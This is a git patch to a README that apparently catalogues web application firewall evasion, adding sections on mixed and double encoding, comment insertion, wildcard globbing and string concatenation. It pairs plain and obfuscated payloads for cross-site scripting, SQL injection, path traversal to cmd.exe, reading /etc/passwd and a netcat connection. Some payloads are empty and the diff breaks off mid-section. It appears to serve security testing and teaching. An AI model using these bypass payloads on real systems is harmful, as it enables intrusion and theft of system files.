From f1a1a16fbeae06cf572a200632804a7ac77f70f1 Mon Sep 17 00:00:00 2001 From: 0xInfection Date: Tue, 26 Feb 2019 00:55:16 +0530 Subject: [PATCH] More stuff --- README.md | 79 +++++++++++++++++++++++++++++++++++++++++-------------- 1 file changed, 59 insertions(+), 20 deletions(-) diff --git a/README.md b/README.md index 58f4856..d5709f7 100644 --- a/README.md +++ b/README.md @@ -1568,7 +1568,7 @@ script/src="data:text%2Fj\u0061v\u0061script,\u0061lert(1)">` +Encoded: `"><img src=x onerror=confirm()>` (General form) +Encoded: `"><img src=x onerror=confirm()>` (Numeric reference) __4. Mixed Encoding__ -- +- WAF rules often tend to filter out a single type of encoding. +- This type of filters can be bypassed by mixed encoding payloads. -__5. Wildcard Encoding__ +Standard: `` +Obfuscated: `` + +__5. Using Comments__ +- Comments obfuscate standard payload vectors. +- Different payloads have different ways of obfuscation. + +Blocked: `` +Bypassed: `` + +Blocked: `/?id=1+union+select+1,2,3---` +Bypassed: `/?id=1+un/**/ion+sel/**/ect+1,2,3-` + +__6. Double Encoding__ +- Often WAF filters tend to encode characters to prevent attacks. +- However poorly developed filters (no recursion filters) can be bypassed with double encoding. + +Standard: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\` +Obfuscated: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\` + +Standard: `` +Obfuscated: `%253Cscript%253Ealert('XSS')%253C%252Fscript%253E` + +__7. Wildcard Encoding__ - Globbing patterns are used by various command-line utilities to work with multiple files. - We can tweak them to execute system commands. - Specific to remote code execution vulnerabilities on linux systems. -Blocked: `/bin/cat /etc/passwd` -Bypassed: `/???/??t /???/??ss??` +Standard: `/bin/cat /etc/passwd` +Obfuscated: `/???/??t /???/??ss??` Used chars: `/ ? t s` -Blocked: `/bin/nc 127.0.0.1 1337` -Bypassed: `/???/n? 2130706433 1337` +Standard: `/bin/nc 127.0.0.1 1337` +Obfuscated: `/???/n? 2130706433 1337` Used chars: `/ ? n [0-9]` -__6. Using Comments__ -- Comments obfuscate standard payload vectors. -- Different payloads have different ways of obfuscation. +__8. String Concatenation__ +- Different programming languages have different syntaxes and patterns for concatenation. +- This allows us to effectively generate payloads that can bypass many filters and rules. -Blocked: `alert()` -Bypassed: `alert/**/()` +Standard: `/bin/cat /etc/passwd` +Obfuscated: `/bi'n/c'at' /e'tc'/pa'''ss'wd` +> Bash allows path concatenation for execution. -Blocked: `/?id=1+un/**/ion+sel/**/ect+1,2,3--` -Bypassed: `/?id=1+union+select+1,2,3--` - -Blocked: - -__7. +Standard: `